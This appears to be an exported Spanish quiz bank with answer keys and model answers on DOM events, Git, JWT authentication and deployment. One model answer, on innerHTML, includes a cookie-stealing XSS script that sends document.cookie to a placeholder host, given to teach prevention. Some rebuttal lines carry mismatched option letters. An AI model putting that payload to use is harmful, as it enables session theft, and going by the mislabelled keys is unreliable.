Por qué: preventDefault() cancela el comportamiento por defecto del evento. En un formulario, el comportamiento por defecto es enviar los datos al servidor y recargar la página. Sin preventDefault, tu JS se ejecuta pero la página se recarga y el usuario pierde el estado.Detalle: preventDefault() cancela el comportamiento por defecto del evento. En un formulario, el comportamiento por defecto es enviar los datos al servidor y recargar la página. Sin preventDefault, tu JS se ejecuta pero la página se recarga y el usuario pierde el estado. | a) preventDefault no muestra errores; solo cancela el comportamiento nativo. | c) Cancela el envío INDEPENDIENTEMENTE de la validez de los datos. -
¿Qué es 'event delegation' y por qué es importante?
- a) Una forma de eliminar eventos.
- b) Un patrón donde pones UN listener en el padre y detectas el hijo con e.target. Escala mejor que poner un listener por cada hijo. ✓ correcta
- c) Un framework de JavaScript.
- d) Una técnica de CSS para animar eventos.
Por qué: Event delegation = un solo listener en el padre, dentro usas e.target para saber qué hijo se clickeó. Escala a listas grandes (1000 items = 1 listener) y funciona para items agregados dinámicamente. Es el patrón que usan React, Vue, etc.Detalle: Event delegation = un solo listener en el padre, dentro usas e.target para saber qué hijo se clickeó. Escala a listas grandes (1000 items = 1 listener) y funciona para items agregados dinámicamente. Es el patrón que usan React, Vue, etc. | a) Es lo opuesto: un solo listener compartido por muchos elementos. | c) No tiene relación con CSS. -
¿Qué método moderno se usa para agregar un event listener?
- a) element.onclick = function() {}
- b) element.addEventListener('click', function() {}) ✓ correcta
- c) element.attachEvent('click', ...)
- d) element.click = function() {}
Por qué: addEventListener es la forma estándar y moderna. Permite múltiples listeners al mismo evento, separa JS del HTML, y es la forma usada en todos los frameworks.Detalle: addEventListener es la forma estándar y moderna. Permite múltiples listeners al mismo evento, separa JS del HTML, y es la forma usada en todos los frameworks. | a) onclick es la forma antigua; solo permite UN listener y mezcla JS con HTML. | c) click no es un evento; es un método para disparar un click programáticamente. -
Si pones un <script> en el <head> SIN defer, ¿cuál es el problema más común?
- a) El script se ejecuta dos veces.
- b) El script se ejecuta ANTES de que el HTML esté listo, así que querySelector devuelve null. ✓ correcta
- c) El navegador no carga el script.
- d) El script se carga pero no se ejecuta.
Por qué: Los scripts en el <head> sin defer se ejecutan inmediatamente, antes de que el navegador haya parseado el <body>. Por eso querySelector('#mi-boton') devuelve null: el botón aún no existe. Soluciones: defer, type='module', o poner el <script> al final del <body>.Detalle: Los scripts en el <head> sin defer se ejecutan inmediatamente, antes de que el navegador haya parseado el <body>. Por eso querySelector('#mi-boton') devuelve null: el botón aún no existe. Soluciones: defer, type='module', o poner el <script> al final del <body>. | a) Se ejecuta una vez, no dos. | c) Sí se ejecuta, pero antes de que el DOM esté listo. -
¿Cómo eliminas un elemento del DOM?
- a) element.delete()
- b) element.remove() ✓ correcta
- c) element.removeChild()
- d) parent.removeChild(element)
Por qué: element.remove() es la forma moderna: el elemento se elimina a sí mismo. Es lo más simple. parent.removeChild(element) es la forma antigua (todavía funciona) y requiere seleccionar al padre.Detalle: element.remove() es la forma moderna: el elemento se elimina a sí mismo. Es lo más simple. parent.removeChild(element) es la forma antigua (todavía funciona) y requiere seleccionar al padre. | a) delete() no existe en el DOM. | c) removeChild es la forma antigua, sigue funcionando pero es menos directa que .remove(). -
¿Qué hace la clase 'e.target' dentro de un event handler?
- a) El elemento donde se ORIGINÓ el evento (donde el usuario interactuó originalmente). ✓ correcta
- b) El elemento donde está el listener.
- c) El siguiente elemento en el DOM.
- d) El elemento <html> raíz.
Por qué: e.target es el elemento que DISPARÓ el evento originalmente. En event delegation, el listener está en el padre, pero e.target es el hijo específico donde el usuario hizo clic. Es lo que te permite saber 'qué hijo se clickeó'.Detalle: e.target es el elemento que DISPARÓ el evento originalmente. En event delegation, el listener está en el padre, pero e.target es el hijo específico donde el usuario hizo clic. Es lo que te permite saber 'qué hijo se clickeó'. | b) No es el siguiente; es el origen. | c) No es la raíz, es el elemento específico clickeado. -
¿Para qué sirve FormData?
- a) Para convertir un formulario en un objeto JSON.
- b) Para leer todos los valores de un formulario de forma sencilla, listo para enviar al servidor. ✓ correcta
- c) Para validar formularios automáticamente.
- d) Para crear formularios desde JavaScript.
Por qué: FormData es una clase nativa que toma un <form> y te da acceso a todos sus campos. Ejemplo: const datos = new FormData(formulario); datos.get('nombre'). Es la forma estándar de leer y enviar datos de formularios, sin tener que seleccionar cada input manualmente.Detalle: FormData es una clase nativa que toma un <form> y te da acceso a todos sus campos. Ejemplo: const datos = new FormData(formulario); datos.get('nombre'). Es la forma estándar de leer y enviar datos de formularios, sin tener que seleccionar cada input manualmente. | a) FormData no convierte a JSON (eso lo hace JSON.stringify). | c) FormData no crea formularios; los lee.
Preguntas abiertas (3)
-
Explica qué es el DOM y por qué es importante entenderlo aunque uses frameworks como React. (3 a 5 líneas).
Respuesta modelo: El DOM (Document Object Model) es la representación en forma de árbol de tu HTML que el navegador crea. JavaScript lo manipula para cambiar la página sin recargar. Aunque uses React, Vue o cualquier framework, ellos EVENTUALMENTE modifican el DOM real: React no es magia, es un wrapper inteligente sobre el DOM. Entender el DOM te ayuda a debuggear ('¿por qué esto no se actualiza?'), a optimizar rendimiento, y a trabajar con código vanilla cuando no hay framework. Un programador senior que solo sabe React sin entender el DOM queda atrapado: no puede resolver bugs complejos ni entender frameworks nuevos.
-
Explica la diferencia entre textContent e innerHTML. Da un ejemplo de un ataque XSS y cómo lo previenes. (3 a 5 líneas).
Respuesta modelo: textContent inserta el texto TAL CUAL, sin interpretar HTML (seguro). innerHTML interpreta el string como HTML, así que etiquetas como <script> se EJECUTAN (peligroso). Ejemplo de XSS: un usuario escribe en un comentario: <script>document.location='https://hack.com?cookie='+document.cookie</script>. Si uso comentario.innerHTML = inputUsuario, el script roba las cookies del usuario y las envía al hacker. Prevención: usa textContent, que inserta el <script> como TEXTO visible, no como código ejecutable. O sanitiza con DOMPurify antes de usar innerHTML.
-
Imagina una lista de 1000 productos, cada uno con botón 'Agregar al carrito'. Explica por qué NO deberías poner 1000 listeners y cómo lo resolverías con event delegation. (4 a 6 líneas).
Respuesta modelo: 1000 listeners = 1000 funciones en memoria, ineficiente. Además, si después se agregan productos nuevos dinámicamente, NO tendrán listener. Solución: event delegation. Pongo UN solo listener en el <ul> padre que contiene los 1000 <li>. Cuando el usuario hace clic en un botón 'Agregar', el evento SUBE (burbuja) hasta el <ul>, y mi listener lo captura. Dentro, uso e.target para saber qué botón se clickeó: si e.target.classList.contains('agregar'), entonces e.target.closest('.producto').dataset.id me da el ID del producto. Funciona para items actuales Y futuros, con 1 sola línea de código. Es el patrón de React internamente.
Preguntas de opción múltiple (10)
-
¿Por qué NO se debe trabajar directamente sobre la rama main?
- a) Por pereza de crear ramas.
- b) Porque cualquier cambio roto afecta a TODO el equipo y a producción. Las ramas dan aislamiento. ✓ correcta
- c) Porque Git lo prohíbe.
- d) Porque main es una rama deprecated.
Por qué: main es la versión en producción. Si trabajas directo ahí y rompes algo, TODO el equipo se ve afectado. Las ramas te dan aislamiento: rompes algo en tu rama, solo ella se rompe. main sigue funcionando.Detalle: main es la versión en producción. Si trabajas directo ahí y rompes algo, TODO el equipo se ve afectado. Las ramas te dan aislamiento: rompes algo en tu rama, solo ella se rompe. main sigue funcionando. | a) Crear ramas toma 1 segundo, no es por pereza. | c) main NO está deprecated; es la rama principal por convención. -
¿Qué comando crea una rama Y se mueve a ella?
- a) git branch feature/x
- b) git checkout feature/x
- c) git checkout -b feature/x ✓ correcta
- d) git create feature/x
Por qué: git checkout -b nombre crea la rama y se mueve a ella en un solo paso. Equivale a: git branch nombre + git checkout nombre.Detalle: git checkout -b nombre crea la rama y se mueve a ella en un solo paso. Equivale a: git branch nombre + git checkout nombre. | a) git branch solo CREA la rama pero no te mueve a ella. | b) git checkout solo te mueve a una rama EXISTENTE, no la crea. -
¿Cuándo ocurre un conflicto en Git?
- a) Cuando hay un bug en el código.
- b) Cuando dos personas editan la MISMA línea del mismo archivo en ramas diferentes y se intenta fusionar. ✓ correcta
- c) Cuando el repositorio es muy grande.
- d) Cuando se hace un commit sin mensaje.
Por qué: Un conflicto ocurre cuando Git no puede decidir automáticamente qué versión es la correcta: dos personas modificaron la misma línea. Git te lo marca y tú decides cómo resolverlo.Detalle: Un conflicto ocurre cuando Git no puede decidir automáticamente qué versión es la correcta: dos personas modificaron la misma línea. Git te lo marca y tú decides cómo resolverlo. | a) Un bug es un error lógico, no un conflicto de Git. | c) El mensaje del commit es opcional y no causa conflictos. -
¿Qué es un Pull Request?
- a) Una petición para borrar una rama.
- b) Una petición para fusionar una rama con otra, usualmente revisada por un compañero antes de aprobarse. ✓ correcta
- c) Una alerta de error en el código.
- d) Un comando de Git para hacer merge.
Por qué: Un Pull Request (PR) es una petición para fusionar tu rama con otra (usualmente main). Incluye revisión de código por otros, comentarios, y aprobación antes del merge. Es el flujo profesional de GitHub.Detalle: Un Pull Request (PR) es una petición para fusionar tu rama con otra (usualmente main). Incluye revisión de código por otros, comentarios, y aprobación antes del merge. Es el flujo profesional de GitHub. | a) Un PR no borra ramas; eso es git branch -d. | c) Un PR no es un comando, es una funcionalidad de GitHub. -
¿Cuál es el formato correcto de un commit según Conventional Commits?
- a) cambios
- b) fix
- c) feat(login): agrego validación de email ✓ correcta
- d) ya funciona
Por qué: feat(login): agrego validación de email sigue el estándar: tipo (feat), alcance entre paréntesis (login), descripción clara. Es legible, buscable, y estandarizado.Detalle: feat(login): agrego validación de email sigue el estándar: tipo (feat), alcance entre paréntesis (login), descripción clara. Es legible, buscable, y estandarizado. | a) 'cambios' no dice nada sobre qué cambió. | b) 'fix' no dice QUÉ se arregló. -
¿Qué archivo configura qué se IGNORA en Git?
- a) config.json
- b) package.json
- c) .gitignore ✓ correcta
- d) .env
Por qué: .gitignore es el archivo que lista patrones de archivos/carpetas que Git debe ignorar (no versionar). Ejemplos: node_modules/, .env, dist/.Detalle: .gitignore es el archivo que lista patrones de archivos/carpetas que Git debe ignorar (no versionar). Ejemplos: node_modules/, .env, dist/. | a) config.json no existe como estándar de Git. | b) package.json es para dependencias de Node.js, no para ignorar archivos. -
¿Por qué NUNCA debes subir .env (variables de entorno) a Git?
- a) Porque Git no acepta archivos de texto.
- b) Porque contiene claves secretas, API keys y contraseñas. Si las subes, son PÚBLICAS para siempre. ✓ correcta
- c) Porque hace más lento el repositorio.
- d) Porque .env es para Linux, no Windows.
Por qué: .env contiene secretos (claves de API, contraseñas de bases de datos, tokens). Si las subes a un repo público, cualquier persona del mundo puede verlas y usarlas. Y Git guarda el historial para siempre: aunque borres el archivo después, el commit original sigue ahí.Detalle: .env contiene secretos (claves de API, contraseñas de bases de datos, tokens). Si las subes a un repo público, cualquier persona del mundo puede verlas y usarlas. Y Git guarda el historial para siempre: aunque borres el archivo después, el commit original sigue ahí. | a) Git acepta cualquier archivo de texto. | c) .env funciona en todos los sistemas operativos. -
¿Qué hace 'git push --force' a main?
- a) Es la forma normal de subir commits.
- b) Es una acción PELIGROSA: reescribe la historia de main, rompiendo los repos de otros compañeros que ya tenían esos commits. NUNCA debe hacerse a main. ✓ correcta
- c) Es lo mismo que git push.
- d) Es para borrar archivos remotos.
Por qué: git push --force REESCRIBE la historia de la rama. Si otros compañeros ya descargaron la versión anterior, sus clones quedan en un estado inconsistente. NUNCA debe hacerse a main ni a develop. Solo a ramas de feature TUYAS, y aún así con cuidado.Detalle: git push --force REESCRIBE la historia de la rama. Si otros compañeros ya descargaron la versión anterior, sus clones quedan en un estado inconsistente. NUNCA debe hacerse a main ni a develop. Solo a ramas de feature TUYAS, y aún así con cuidado. | a) No es la forma normal; es una acción destructiva. | c) No borra archivos remotos; reescribe la historia. -
Un buen Pull Request debe ser:
- a) Lo más grande posible para terminar rápido.
- b) PEQUEÑO: menos de 400 líneas, una sola responsabilidad, descripción clara. ✓ correcta
- c) Solo de código nuevo, sin refactorizaciones.
- d) Sin descripción para no aburrir al revisor.
Por qué: Un buen PR es pequeño (< 400 líneas), enfocado en una sola responsabilidad, con descripción clara. PRs grandes son imposibles de revisar bien. Si tu feature es grande, divídela en PRs más pequeños que se fusionen en orden.Detalle: Un buen PR es pequeño (< 400 líneas), enfocado en una sola responsabilidad, con descripción clara. PRs grandes son imposibles de revisar bien. Si tu feature es grande, divídela en PRs más pequeños que se fusionen en orden. | a) PRs grandes son imposibles de revisar bien. | c) La descripción es FUNDAMENTAL para que el revisor entienda el cambio. -
¿Qué flujo de trabajo es el estándar profesional?
- a) Trabajar en main directo, sin ramas.
- b) Feature branch → commits → push → Pull Request → revisión de código → merge a main. ✓ correcta
- c) Hacer merge sin code review para ir más rápido.
- d) Borrar la rama principal antes de empezar.
Por qué: El flujo profesional es: crear una rama por feature, hacer commits pequeños y descriptivos, pushear la rama, abrir un Pull Request, recibir revisión de código de un compañero, hacer los cambios solicitados, y al recibir aprobación, hacer merge a main.Detalle: El flujo profesional es: crear una rama por feature, hacer commits pequeños y descriptivos, pushear la rama, abrir un Pull Request, recibir revisión de código de un compañero, hacer los cambios solicitados, y al recibir aprobación, hacer merge a main. | a) Trabajar en main es peligroso y no profesional. | c) Borrar main destruiría el proyecto.
Preguntas abiertas (3)
-
Explica qué es un Pull Request y por qué es mejor fusionar vía PR que con 'git merge' local. (3 a 5 líneas).
Respuesta modelo: Un Pull Request es una petición para fusionar una rama con otra, usualmente main, a través de GitHub. Es mejor que git merge local porque: (1) permite revisión de código por un compañero que puede detectar bugs; (2) deja un REGISTRO de quién fusionó qué, cuándo, y por qué; (3) permite correr CI/CD automático (tests, linter, build) antes de aceptar; (4) facilita la discusión con comentarios en líneas específicas. El git merge local es silencioso y no tiene ninguna de estas ventajas.
-
Explica qué es un conflicto en Git y da 3 consejos para prevenirlos en un equipo. (3 a 5 líneas).
Respuesta modelo: Un conflicto ocurre cuando dos personas modifican la MISMA línea del mismo archivo en ramas diferentes, y Git no puede decidir cuál versión es la correcta. Para prevenirlos: (1) comunicarse con el equipo sobre en qué archivo se está trabajando, evitando editar simultáneamente los mismos archivos; (2) hacer git pull al INICIO de cada jornada para tener la última versión; (3) fusionar las feature branches a main FRECUENTEMENTE (no acumular muchos cambios), porque cada merge es una oportunidad de conflicto. Si un conflicto es muy grande, es señal de que las funciones son demasiado grandes o hay mal diseño.
-
Imagina que accidentalmente subiste tu archivo .env con una API key de AWS a un repo público de GitHub. ¿Qué haces PASO A PASO? (4 a 6 líneas).
Respuesta modelo: Paso 1: Mantén la calma pero actúa RÁPIDO. Paso 2: Rota la clave de AWS INMEDIATAMENTE desde la consola de AWS. La clave expuesta debe considerarse COMPROMETIDA, sin importar si la borras después. Paso 3: En Git, borra el archivo del repo con git rm --cached .env y agrégalo a .gitignore. Paso 4: Haz commit y push del cambio. Paso 5: PERO el archivo SIGUE en el historial de Git. Para limpiarlo realmente, usa git filter-branch o BFG Repo-Cleaner. Paso 6: AWS te da una herramienta para revocar claves: CloudTrail te muestra si la clave fue usada por terceros. La prevención: NUNCA subir .env, SIEMPRE tenerlo en .gitignore desde el inicio, y considerar herramientas como git-secrets.
Preguntas de opción múltiple (10)
-
¿Cuál es la diferencia entre autenticación y autorización?
- a) Son sinónimos.
- b) Autenticación es QUIÉN eres; autorización es QUÉ puedes hacer. ✓ correcta
- c) Autorización es para administradores.
- d) Autenticación es para usuarios normales.
Por qué: Autenticación = QUIÉN eres (login, verificar credenciales). Autorización = QUÉ puedes hacer (permisos, roles). Son pasos distintos: primero autenticas, después autorizas. Puedes estar autenticado pero NO autorizado (un user no puede borrar a otros users).Detalle: Autenticación = QUIÉN eres (login, verificar credenciales). Autorización = QUÉ puedes hacer (permisos, roles). Son pasos distintos: primero autenticas, después autorizas. Puedes estar autenticado pero NO autorizado (un user no puede borrar a otros users). | a) No son sinónimos. | c) La autenticación aplica a cualquier usuario. -
En una API REST, ¿cuál es la forma correcta de 'obtener el usuario 5'?
- a) GET /usuarios/get/5
- b) GET /usuarios/5 ✓ correcta
- c) POST /usuarios/5
- d) GET /obtener-usuario/5
Por qué: GET /usuarios/5 es REST: el RECURSO va en la URL (usuarios/5), la ACCIÓN (obtener) va en el verbo HTTP (GET). Es lo que hace que las APIs REST sean intuitivas y cacheables.Detalle: GET /usuarios/5 es REST: el RECURSO va en la URL (usuarios/5), la ACCIÓN (obtener) va en el verbo HTTP (GET). Es lo que hace que las APIs REST sean intuitivas y cacheables. | a) Verbos en la URL rompen REST. | c) URLs deben ser recursos, no acciones. -
¿Qué pasa si guardas el JWT_SECRET en el código fuente?
- a) Es lo más seguro.
- b) Si subes el código a Git, todos los tokens quedan comprometidos porque cualquiera puede firmar tokens válidos. ✓ correcta
- c) No pasa nada.
- d) Mejora el rendimiento.
Por qué: Si tu código se filtra o se sube a Git, todos los tokens emitidos con ese secret quedan comprometidos. El SECRET debe estar en variables de entorno (.env) y ser LARGO y aleatorio (mínimo 32 caracteres con openssl rand -hex 32).Detalle: Si tu código se filtra o se sube a Git, todos los tokens emitidos con ese secret quedan comprometidos. El SECRET debe estar en variables de entorno (.env) y ser LARGO y aleatorio (mínimo 32 caracteres con openssl rand -hex 32). | a) Es lo MÁS INSEGURO. | c) No afecta rendimiento. -
¿Por qué bcrypt.hash(password, 12) en vez de guardar el password directamente?
- a) Para ahorrar espacio.
- b) Porque bcrypt es unidireccional: si la BD se filtra, las contraseñas siguen protegidas. ✓ correcta
- c) Porque es más rápido.
- d) Es solo una convención.
Por qué: bcrypt es un HASH UNIDIRECCIONAL: no se puede revertir. Si tu BD se filtra, las contraseñas siguen protegidas (el atacante tendría que crackear cada hash, lo que tarda años con el algoritmo bcrypt). El 12 son 'salt rounds' (2^12 iteraciones), lo que hace que el hashing sea lento (protección contra fuerza bruta).Detalle: bcrypt es un HASH UNIDIRECCIONAL: no se puede revertir. Si tu BD se filtra, las contraseñas siguen protegidas (el atacante tendría que crackear cada hash, lo que tarda años con el algoritmo bcrypt). El 12 son 'salt rounds' (2^12 iteraciones), lo que hace que el hashing sea lento (protección contra fuerza bruta). | a) El espacio no es el motivo. | c) Es seguridad real, no convención. -
¿Dónde deberías guardar el access token en el frontend?
- a) En localStorage (persiste entre sesiones).
- b) En memoria (variable JS) o sessionStorage. ✓ correcta
- c) En una cookie sin httpOnly.
- d) En el código fuente.
Por qué: El access token debe estar en MEMORIA (variable JS) o sessionStorage. localStorage es accesible por cualquier JavaScript de la página (vulnerable a XSS). sessionStorage es ligeramente más seguro (se borra al cerrar la pestaña) pero sigue siendo accesible. La cookie httpOnly es la opción más segura pero requiere que el backend la configure. El código fuente NUNCA.Detalle: El access token debe estar en MEMORIA (variable JS) o sessionStorage. localStorage es accesible por cualquier JavaScript de la página (vulnerable a XSS). sessionStorage es ligeramente más seguro (se borra al cerrar la pestaña) pero sigue siendo accesible. La cookie httpOnly es la opción más segura pero requiere que el backend la configure. El código fuente NUNCA. | a) localStorage es vulnerable a XSS. | c) El código fuente es público. -
¿Qué código HTTP devuelve un endpoint '/admin' cuando un user normal intenta acceder?
- a) 200 OK con error en el body.
- b) 401 Unauthorized.
- c) 403 Forbidden. ✓ correcta
- d) 500 Internal Server Error.
Por qué: 403 Forbidden = 'sé quién eres (estás autenticado), pero no tienes permiso'. Un user normal logueado intentando acceder a /admin debe recibir 403. 401 sería si NO está autenticado (no hay token). Es la diferencia clave entre autenticación y autorización.Detalle: 403 Forbidden = 'sé quién eres (estás autenticado), pero no tienes permiso'. Un user normal logueado intentando acceder a /admin debe recibir 403. 401 sería si NO está autenticado (no hay token). Es la diferencia clave entre autenticación y autorización. | a) 200 OK miente sobre el resultado. | b) 401 sería si no estuvieras autenticado. -
¿Qué es un refresh token?
- a) Un token para actualizar la BD.
- b) Un token de larga duración (7-30 días) que se usa para obtener un nuevo access token cuando este expira, sin que el usuario haga login de nuevo. ✓ correcta
- c) Un token para refrescar la pantalla.
- d) Un token de respaldo.
Por qué: El refresh token es un token de LARGA duración (7-30 días) que vive en una cookie httpOnly. Cuando el access token corto (1h) expira, el cliente usa el refresh token para obtener uno nuevo automáticamente, sin que el usuario tenga que volver a hacer login. Es el patrón de Google, Facebook, GitHub, etc.Detalle: El refresh token es un token de LARGA duración (7-30 días) que vive en una cookie httpOnly. Cuando el access token corto (1h) expira, el cliente usa el refresh token para obtener uno nuevo automáticamente, sin que el usuario tenga que volver a hacer login. Es el patrón de Google, Facebook, GitHub, etc. | a) No es para actualizar la BD. | c) Es un token de sesión, no de respaldo. -
En JWT, ¿qué contiene el payload?
- a) La firma del servidor.
- b) Datos del usuario (claims): userId, rol, email, expiración, etc. NO está encriptado. ✓ correcta
- c) El algoritmo de firma.
- d) El nombre del servidor.
Por qué: El payload contiene los CLAIMS (datos del usuario): userId, rol, email, iat (issued at), exp (expiración). Está codificado en base64, NO encriptado: cualquiera puede decodificarlo y leerlo. Por eso NUNCA pongas datos sensibles (contraseñas, datos bancarios) en el payload. La signature evita que se manipule, pero no oculta el contenido.Detalle: El payload contiene los CLAIMS (datos del usuario): userId, rol, email, iat (issued at), exp (expiración). Está codificado en base64, NO encriptado: cualquiera puede decodificarlo y leerlo. Por eso NUNCA pongas datos sensibles (contraseñas, datos bancarios) en el payload. La signature evita que se manipule, pero no oculta el contenido. | a) La firma está en la signature, no en el payload. | c) El nombre del servidor no está en el JWT. -
¿Por qué NO es buena idea guardar el JWT en localStorage?
- a) Ocupa mucho espacio.
- b) Porque cualquier JavaScript de la página puede acceder a localStorage, incluyendo scripts maliciosos (vulnerable a XSS). ✓ correcta
- c) Porque se borra al cerrar el navegador.
- d) No hay razón, es perfecto.
Por qué: localStorage es accesible por cualquier JavaScript de la página. Si un atacante inyecta un script (XSS), puede robar todos los tokens de localStorage y hacer peticiones en nombre del usuario. Por eso se recomienda: access token en memoria (variable JS) o sessionStorage, y refresh token en cookie httpOnly (no accesible por JS).Detalle: localStorage es accesible por cualquier JavaScript de la página. Si un atacante inyecta un script (XSS), puede robar todos los tokens de localStorage y hacer peticiones en nombre del usuario. Por eso se recomienda: access token en memoria (variable JS) o sessionStorage, y refresh token en cookie httpOnly (no accesible por JS). | a) El espacio no es el problema. | c) Es un riesgo de seguridad real. -
¿Cómo verificas un JWT en Express?
- a) Comparando strings manualmente.
- b) Con jwt.verify(token, secret), que valida la signature y la expiración. ✓ correcta
- c) Con bcrypt.
- d) Con JSON.parse.
Por qué: jwt.verify(token, secret) valida automáticamente la signature (que el token no fue alterado) y la expiración (que no haya expirado). Si todo es válido, devuelve el payload decodificado. Si no, lanza una excepción que tu middleware atrapa con try/catch.Detalle: jwt.verify(token, secret) valida automáticamente la signature (que el token no fue alterado) y la expiración (que no haya expirado). Si todo es válido, devuelve el payload decodificado. Si no, lanza una excepción que tu middleware atrapa con try/catch. | a) Comparar strings manualmente no valida nada. | c) JSON.parse no valida la firma.
Preguntas abiertas (3)
-
Explica la diferencia entre 401 Unauthorized y 403 Forbidden en una API REST. Da un ejemplo de cada uno. (3 a 5 líneas).
Respuesta modelo: 401 Unauthorized = 'no sé quién eres' (no estás autenticado, falta token o es inválido). Ejemplo: GET /perfil sin token en el header Authorization. 403 Forbidden = 'sé quién eres (estás autenticado), pero no tienes permiso'. Ejemplo: GET /admin siendo un user normal con token válido. La diferencia es FUNDAMENTAL: 401 = problema de autenticación (debes hacer login), 403 = problema de autorización (estás logueado pero no tienes el rol/permiso). Usar el código correcto ayuda al cliente a saber qué hacer: con 401 redirige a login; con 403 muestra 'no tienes permiso' pero mantén la sesión.
-
Explica por qué es importante usar bcrypt para guardar contraseñas y qué pasa si guardas en texto plano. (3 a 5 líneas).
Respuesta modelo: bcrypt es un HASH UNIDIRECCIONAL: convierte la contraseña en un string ilegible que NO se puede revertir. Si tu BD se filtra, las contraseñas siguen protegidas: el atacante tendría que crackear cada hash, lo que con bcrypt y 12 salt rounds tarda AÑOS por contraseña. Si guardas contraseñas en texto plano: cualquier filtración expone TODAS las contraseñas, los usuarios están comprometidos en TODOS los sitios donde reutilicen esa contraseña, y la empresa enfrenta responsabilidad legal (GDPR, leyes de protección de datos). La regla es simple: SIEMPRE bcrypt.hash(password, 12) antes de guardar, SIEMPRE bcrypt.compare(password, hash) para comparar. Es la regla #1 de seguridad, sin excepciones.
-
Estás diseñando el sistema de autenticación de una app. Explica dónde guardarías el access token, el refresh token, y el JWT_SECRET, y por qué. (3 a 5 líneas).
Respuesta modelo: (1) access token: en MEMORIA del frontend (variable JS) o sessionStorage. NO en localStorage (vulnerable a XSS). Vive poco (1h) y se renueva automáticamente. (2) refresh token: en una cookie httpOnly + secure + sameSite=strict. httpOnly evita que JavaScript acceda (protección contra XSS); secure que solo viaje por HTTPS; sameSite=strict que no se envíe en cross-site requests (protección contra CSRF). Vive más (7-30 días). (3) JWT_SECRET: en variable de entorno del BACKEND (.env), NUNCA en el código. Debe ser largo (mínimo 32 caracteres) y aleatorio (openssl rand -hex 32). Si se filtra el código, los tokens NO quedan comprometidos mientras el secret esté seguro. Es la arquitectura de 3 capas: memoria + cookie + env. Cada una en su lugar correcto.
Preguntas de opción múltiple (10)
-
¿Cuál es la mejor plataforma de deploy para empezar con Node.js en 2025?
- a) Heroku (pago, viejo).
- b) Railway: plan gratuito generoso, incluye PostgreSQL, deploy simple. ✓ correcta
- c) FTP manual a un hosting.
- d) Tu propia PC expuesta a internet.
Por qué: Railway es la mejor para empezar: plan gratuito generoso (500h/mes + $5 crédito), incluye PostgreSQL y Redis como plugins, deploy automático desde GitHub, HTTPS incluido, y el flujo más simple. Para aprender y empezar proyectos, es ideal.Detalle: Railway es la mejor para empezar: plan gratuito generoso (500h/mes + $5 crédito), incluye PostgreSQL y Redis como plugins, deploy automático desde GitHub, HTTPS incluido, y el flujo más simple. Para aprender y empezar proyectos, es ideal. | a) Heroku ya no es la opción preferida. | c) Exponer tu PC es un riesgo de seguridad grave. -
En producción, ¿dónde debes configurar las variables de entorno (MONGODB_URI, JWT_SECRET)?
- a) En el código fuente.
- b) En la pestaña 'Variables' de la plataforma (Railway, Render, Vercel). ✓ correcta
- c) En un archivo .env en el servidor.
- d) En una cookie.
Por qué: En la pestaña 'Variables' de la plataforma. Cada plataforma tiene un UI para configurar variables de entorno sin tocar el código ni el repo. .env en el servidor es una mala práctica (se pierde al redeploy); en el código es un riesgo de seguridad.Detalle: En la pestaña 'Variables' de la plataforma. Cada plataforma tiene un UI para configurar variables de entorno sin tocar el código ni el repo. .env en el servidor es una mala práctica (se pierde al redeploy); en el código es un riesgo de seguridad. | a) En el código es un riesgo de seguridad. | c) Las cookies son para el cliente, no para secrets del servidor. -
¿Por qué es peligroso hardcodear el puerto 3000 en tu código?
- a) Es lento.
- b) Porque las plataformas de deploy asignan un puerto DINÁMICO via process.env.PORT. Si hardcodeas 3000, la plataforma no puede enrutar las peticiones. ✓ correcta
- c) Porque es un número feo.
- d) No es peligroso.
Por qué: Las plataformas (Railway, Render, Heroku) asignan el puerto DINÁMICAMENTE via la variable de entorno PORT. Si tu app escucha en 3000 hardcoded, la plataforma no puede redirigir el tráfico. Solución: const PORT = process.env.PORT || 3000; (el || 3000 es para desarrollo local).Detalle: Las plataformas (Railway, Render, Heroku) asignan el puerto DINÁMICAMENTE via la variable de entorno PORT. Si tu app escucha en 3000 hardcoded, la plataforma no puede redirigir el tráfico. Solución: const PORT = process.env.PORT || 3000; (el || 3000 es para desarrollo local). | a) La velocidad no es el problema. | c) Sí es un problema común. -
Después de hacer deploy, ¿cómo sabes si tu API está caída?
- a) Esperando a que un usuario se queje.
- b) Con un monitor externo como UptimeRobot, que revisa cada 5 min y te avisa por email o Slack si está caída. ✓ correcta
- c) Mirando el log cada hora.
- d) No hay forma.
Por qué: UptimeRobot (gratis hasta 50 monitores) revisa tu API cada 5 minutos y te avisa por email, SMS, o Slack si está caída. Sin esto, te enteras cuando un usuario se queja, que puede ser horas o días después. Es la diferencia entre un profesional y un amateur.Detalle: UptimeRobot (gratis hasta 50 monitores) revisa tu API cada 5 minutos y te avisa por email, SMS, o Slack si está caída. Sin esto, te enteras cuando un usuario se queja, que puede ser horas o días después. Es la diferencia entre un profesional y un amateur. | a) Esperar a que se quejen es muy tarde. | c) Sí hay forma: UptimeRobot, Pingdom, Better Uptime. -
¿Qué es Sentry?
- a) Un competidor de GitHub.
- b) Una herramienta de tracking de errores: captura cada excepción de tu app, con stack trace, contexto del usuario, y te avisa. ✓ correcta
- c) Un servidor de hosting.
- d) Un framework de testing.
Por qué: Sentry captura cada error de tu app en producción, con el stack trace completo, el contexto del usuario (qué hizo antes del error), y agrupa errores similares. Cuando un usuario reporta 'la app no funciona', Sentry te dice EXACTAMENTE qué pasó. Es gratis hasta 5,000 eventos/mes.Detalle: Sentry captura cada error de tu app en producción, con el stack trace completo, el contexto del usuario (qué hizo antes del error), y agrupa errores similares. Cuando un usuario reporta 'la app no funciona', Sentry te dice EXACTAMENTE qué pasó. Es gratis hasta 5,000 eventos/mes. | a) No es un competidor de GitHub. | c) No es para testing. -
Si subes tu archivo .env a Git por error, ¿qué deberías hacer?
- a) Borrar el archivo y listo.
- b) ROTAR todos los secretos inmediatamente: cambiar JWT_SECRET, regenerar las API keys, cambiar contraseñas de BD. Git guarda el historial, así que aunque borres el archivo, el secret sigue en commits anteriores. ✓ correcta
- c) No pasa nada, Git es privado.
- d) Renombrar el archivo a .env2.
